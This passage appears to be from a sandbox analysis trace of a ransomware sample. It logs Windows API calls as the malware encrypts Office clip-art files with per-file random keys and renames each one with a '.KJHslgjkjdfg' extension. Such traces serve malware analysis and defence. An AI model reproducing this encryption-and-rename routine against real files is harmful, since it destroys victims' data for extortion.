lpNewFilePointer=0x0) returned 1 [0182.222] SetEndOfFile (hFile=0x130) returned 1 [0182.224] GetProcessHeap () returned 0x990000 [0182.224] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.224] GetProcessHeap () returned 0x990000 [0182.224] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.kjhslgjkjdfg")) returned 1 [0182.228] CloseHandle (hObject=0x130) returned 1 [0182.228] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0182.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.229] GetProcessHeap () returned 0x990000 [0182.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.236] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.237] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.237] GetProcessHeap () returned 0x990000 [0182.237] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.237] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.237] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.237] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.237] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.237] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.237] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.237] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.237] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.237] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.238] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1cd8, lpOverlapped=0x0) returned 1 [0182.239] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ce0) returned 1 [0182.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.239] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ce0, lpOverlapped=0x0) returned 1 [0182.239] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.239] SetEndOfFile (hFile=0x130) returned 1 [0182.241] GetProcessHeap () returned 0x990000 [0182.241] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.241] GetProcessHeap () returned 0x990000 [0182.241] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.kjhslgjkjdfg")) returned 1 [0182.242] CloseHandle (hObject=0x130) returned 1 [0182.243] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0182.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.244] GetProcessHeap () returned 0x990000 [0182.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.244] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0182.246] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.246] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.247] GetProcessHeap () returned 0x990000 [0182.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.247] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.247] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.247] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.247] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.247] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.247] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.247] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.247] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.247] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.248] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1306, lpOverlapped=0x0) returned 1 [0182.249] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1310, dwBufLen=0x1310 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1310) returned 1 [0182.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.249] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1310, lpOverlapped=0x0) returned 1 [0182.249] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.249] SetEndOfFile (hFile=0x130) returned 1 [0182.252] GetProcessHeap () returned 0x990000 [0182.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.252] GetProcessHeap () returned 0x990000 [0182.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.kjhslgjkjdfg")) returned 1 [0182.256] CloseHandle (hObject=0x130) returned 1 [0182.256] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0182.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.257] GetProcessHeap () returned 0x990000 [0182.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.257] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.257] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0182.259] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.259] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.259] GetProcessHeap () returned 0x990000 [0182.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.259] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.260] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.260] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.260] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.260] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.260] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.260] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.260] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.260] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.261] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6906, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6906, lpOverlapped=0x0) returned 1 [0182.262] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6910, dwBufLen=0x6910 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6910) returned 1 [0182.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.262] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6910, lpOverlapped=0x0) returned 1 [0182.263] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x69e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.263] SetEndOfFile (hFile=0x130) returned 1 [0182.266] GetProcessHeap () returned 0x990000 [0182.266] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.266] GetProcessHeap () returned 0x990000 [0182.266] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.kjhslgjkjdfg")) returned 1 [0182.272] CloseHandle (hObject=0x130) returned 1 [0182.272] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0182.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.273] GetProcessHeap () returned 0x990000 [0182.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.273] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.276] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.276] GetProcessHeap () returned 0x990000 [0182.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.277] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.277] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.277] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.277] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.277] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.278] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.278] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7114, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7114, lpOverlapped=0x0) returned 1 [0182.279] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7120, dwBufLen=0x7120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7120) returned 1 [0182.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.280] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7120, lpOverlapped=0x0) returned 1 [0182.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.280] SetEndOfFile (hFile=0x130) returned 1 [0182.283] GetProcessHeap () returned 0x990000 [0182.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.283] GetProcessHeap () returned 0x990000 [0182.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.kjhslgjkjdfg")) returned 1 [0182.288] CloseHandle (hObject=0x130) returned 1 [0182.288] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0182.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), 